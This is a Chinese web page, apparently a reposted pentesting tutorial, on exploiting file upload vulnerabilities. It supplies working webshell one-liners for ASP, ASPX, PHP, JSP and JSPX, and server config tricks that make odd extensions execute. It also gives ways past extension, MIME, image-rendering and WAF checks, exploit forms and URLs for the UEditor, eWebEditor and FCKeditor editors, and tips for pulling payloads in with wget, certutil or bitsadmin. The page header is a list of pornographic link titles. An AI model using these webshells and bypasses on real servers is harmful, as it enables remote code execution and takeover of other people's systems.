日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

jsp文件上传_文件上传

發(fā)布時間:2023/12/15 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 jsp文件上传_文件上传 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一、文件上傳的目的——腳本文件

文件上傳的一共可造成三種危害,從低到高分別是,任意內容文件,html文件,腳本文件。

任意內容文件

任意內容文件指的是雖然文件后綴不可控,但是文件內容可控,比如我可以上傳一個內容為<?php phpinfo();?>的jpg文件。這種是未校驗文件頭和文件內容導致的,往往不被視為漏洞,使用它們通常需要其他漏洞結合利用,比如php cgi解析漏洞,文件包含漏洞,結合任意目錄上傳覆蓋正常文件。

html文件

即允許上傳一個html格式的文件(包括htm等),等同于存儲XSS,但由于實際利用過程中必須得釣魚,所以其危害等同于反射XSS,同時也曾有人拿這種漏洞做黑帽SEO。

由于富文本編輯的未授權上傳的特殊性,結合html的特殊性,kindeditor就曾爆出這樣的漏洞。

百度搜inurl:kindeditor/attached/file/

除了html文件之外,xml文件能起到同樣的效果,xml xss的語句如下。

<?xml version="1.0"?>

或者

<?xml version="1.0"?>

以及svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>

但由于這種漏洞危害還是過小,所以并不受重視,Kindeditor默認支持html上傳,ueditor默認支持xml上傳。

腳本文件

腳本文件指可執(zhí)行動態(tài)腳本,就是webshell,也是文件上傳漏洞的重點,一旦出現,即使語言環(huán)境對危害函數嚴防死守,也會造成嚴重危害。

首先我們要知道有哪些腳本文件,常見的4大類,asp,aspx,php,jsp。

asp

IIS6.0默認支持,同時更高版本也通常為了兼容而支持。

IIS6.0默認還支持cer,cdx,asa三種格式以asp解析,IIS7.0及以上的版本只支持cer。

asp一句話木馬和hello world

<%eval request("a")%> <%Response.Write("hello world")%>

aspx

IIS7.0及以上默認支持,aspx沒有其他格式,但有可以起到一樣效果的ashx和asmx。

aspx一句話和hello world

<%@ Page Language="Jscript"%><%eval(Request.Item["a"],"unsafe");%> <%Response.Write("hello world")%>

ashx,asmx,soap

https://github.com/luoke90hou/files/blob/main/customize.ashx

https://github.com/luoke90hou/files/blob/main/customize.asmx

https://github.com/luoke90hou/files/blob/main/Customize.soap

web.config

類似apache的.htaccess也可以讓當前目錄的任意后綴文件解析為asp/aspx,以下為參考。

<?xml version="1.0" encoding="UTF-8"?> <configuration><system.webServer><handlers><add name="qqq" path="*.qqq" verb="*" modules="IsapiModule" scriptProcessor="%windir%system32inetsrvasp.dll" resourceType="Unspecified" /></handlers></system.webServer> </configuration>

stm,shtm,shtml

不能作為木馬,但可以讀取web.config內容和一些信息。

<!--#ECHO var="ALL_HTTP"--> <!--#ECHO var="DOCUMENT_NAME"--> <!--#ECHO var="SERVER_SOFTWARE"--> <!--#ECHO var="SERVER_NAME"--> <!--#ECHO var="SERVER_PORT"--> <!--#ECHO var="REMOTE_ADDR"--> <!--#ECHO var="REMOTE_HOST"--> <!--#ECHO var="PATH_TRANSLATED"--> <!--#ECHO var="PATH_INFO"--> <!--#ECHO var="HTTP_ACCEPT"--> <!--#ECHO var="DOCUMENT_URI"--> <!--#include file="./web.config"-->

另外,Global.asax,aspx.cs,svc,dll文件均可以在IIS中當webshell,但都需要編譯,無法直接通過文件上傳getshell,通常作為后門維持。

如果IIS部署了MVC3,還支持cshtml

https://github.com/luoke90hou/files/blob/main/customize.cshtml

PHP

IIS,apache,nginx均可能支持。其中apache可能默認支持從左向右識別后綴,即1.php.rar.bak,同時可能有php格式支持正則如下。

也有的版本是<FileMatch ".+.ph(p[3457]?|t|tml).">

也就是說php3,php4,php5,php7,pht,phtml,phar均有可能解析成php

除此之外,如下內容的.htaccess可支持同目錄下任意格式解析成php,

AddType application/x-httpd-php .abc

.user.ini的效果和.htaccess差不多,但是必須要求同目錄下有一個php文件。

auto_prepend_file=a.jpg

.htaccess只支持apache,.user.ini支持所有cgi模式啟動的php

php一句話和phpinfo如下

<?php @eval($_POST['a']) ?> <?php phpinfo();?>

jsp

tomcat,jboss,WebSphere,weblogic等java web容器均支持jsp

jsp shell和hello world如下

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%> <%out.println("Hello world");%>

jspx是jsp的xml表達,shell如下

<jsp:root xmlns:jsp="Oracle Java Technologies | Oracle" version="1.2"> <jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /> <jsp:scriptlet> Runtime.getRuntime().exec(request.getParameter("i")); </jsp:scriptlet> </jsp:root>

war格式為jsp文件打包,通常用來快速部署網站用的,tomcat,jboss,weblogic,websphere后臺均可通過部署war包來getshell。

jspf,jspa,jhtml均為額外配置腳本文件,默認無此支持

除了上述常見腳本文件之外,python網站使用py腳本,perl網站使用pl腳本和cgi腳本,ColdFusion網站使用cfm腳本,Servlet網站使用java腳本。這些均有對應的webshell。

一、文件上傳可以控制的參數

靶場:https://github.com/c0ny1/upload-labs

1,前端驗證,MIME驗證


基本無用,抓包改包即可突破

2,目錄或者文件名

現在絕大部分文件上傳后都是用時間戳或者隨機hash重命名,一般也不讓控制目錄。

如果允許完全控制文件名,或者目錄,則可以嘗試上傳../../../testtest.php文件穿越目錄。具體利用方法結合實際情況,比如繞過當前目錄不解析,增加任務計劃,web配置,權限足夠甚至可以直接覆蓋掉passwd。即使權限不夠,也能嘗試用惡意doc,xls,exe覆蓋掉正常的文件。

如果不完全控制,也就是上傳test.php.png會拼接成202004017141111111test.php.png,也可以嘗試用特殊字符截斷成202004017141111111test.php%00.png。不單單可以在文件名上截斷,同樣可以在目錄上截斷。

如果目錄,文件名均不可控,后綴使用黑名單控制,可以參考第一章,用冷門后綴繞過。Windows服務器上還有一些其他辦法。

大小寫 【PhP】

自動省略最后的.和空格 【php.】【php 】

NTFS文件流【php::$DATA】Pass-08

最安全的做法就是目錄,文件名均不可控,再加白名單校驗后綴。此時只能嘗試特殊字符截斷,linux中只有00可以截斷,windows中?:<>/|等不支持的字符均有可能產生截斷效果。

3,文件內容控制

有時候服務器會對文件的真實性進行校驗,比如檢查圖片文件的真實性,檢查xlsx文件是否可以解析,我們就需要控制文件內容。文件內容可控點分為兩部分,一是文件頭,即16進制下的前幾個字符,最常用的是gif文件頭,GIF89au,gif文件頭由于全是英文數字,比png和jpg適用性都廣。

二是整個文件內容,比如對圖片尺寸進行校驗甚至二次渲染,單單加入文件頭是無法上傳的,此時必須以圖片馬的方式上傳。

copy 1.png/b+1.php 2.png

4,繞過GD庫

GD庫是php的圖片渲染插件,方便于把圖片統一尺寸。即使是符合尺寸的圖片也會被二次渲染。

這種情況下需要對比圖片渲染前后未被修改的部分,在此插入payload。

繞過GD庫有如下原則,圖片尺寸越大越好,插入的payload越短越好,gif最容易成功,png次之,jpg最難成功。

Pass-16靶場,已成功的一個jpg

https://github.com/luoke90hou/files/blob/main/phpgd.php.jpg

參考https://xz.aliyun.com/t/2657

5,條件競爭

如果文件上傳時分兩步,先生成文件再校驗,不合規(guī)再刪除,則可以利用時間差來訪問還未刪除的腳本文件。也可以利用報錯使刪除邏輯不再執(zhí)行。

條件競爭的隱藏條件就是文件路徑可預測,也就是目錄和文件名要固定,或者一定程度可猜解。

參考Pass-17,可以用bp大量發(fā)包上傳,也可以bp大量發(fā)包訪問webshell的地址,此時一般用訪問即生成一個webshell的小馬。

三、編輯器的漏洞

1,1.4.3 aspx ueditor

由于windows文件系統問號截斷導致,可以利用遠程下載功能,在惡意服務器上下載后綴為jpg的webshell。以下是exp

<form action=" http://luoke.cn/UEditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"><p>shell addr:<input type="text" name="source[]" /></p > 0:50 2019/1/1<input type="submit" value="Submit" /> </form>

2,eWebEditor,asp

后臺有默認密碼admin/admin,admin/admin888,admin888/admin888,數據庫地址eWebEditor/db/ewebeditor.asa

后臺可直接修改樣式然后預覽上傳webshell。

同時還有文件遍歷漏洞

3,fckeditor,asp和php

均為低版本漏洞,asp需配合IIS6.0解析漏洞,上傳1.asp;.png兩次,第一次被重命名為1_asp;.png,第二次被重命名1.asp;(1).png

asp也可以新建1.asp的文件夾

/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2F1.asp&NewFolderName=z

php則需要配合php5.2 %00截斷漏洞,在目錄處截斷

/fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=Image&CurrentFolder=1.php%00.gif

四、 繞過waf攔截

文件上傳繞waf,可以增加干擾讓waf識別不出文件上傳

如上圖,boundary前后可以加空格。

Content-Disposition filename可以隨意大小寫

form-data可以替換成任意值

"3.php"雙引號可以去掉

3.php可以換行,后面可以加%00字符

繞過waf對于文件內容的檢測,可以先上傳本地包含的木馬,再上傳加密的shellcode,或者遠程包含,或者免殺+圖片馬的思路,也可以先上傳一個寫文件的木馬,然后一個字符一個字符寫出新的木馬。

有的waf禁止上傳exe或者二進制文件,可以利用系統自帶的遠程下載工具下載而非web層面上的上傳,比如wget,curl,powershell,certutil,bitsadmin,vbs。

還有的waf會對文件大小進行檢測,可以上傳多個小文件,利用winrar,copy命令合并。

覺得還不錯的可以關注一下公眾號——珂技知識分享,有些滲透實例會發(fā)布在上面。

公眾號

總結

以上是生活随笔為你收集整理的jsp文件上传_文件上传的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。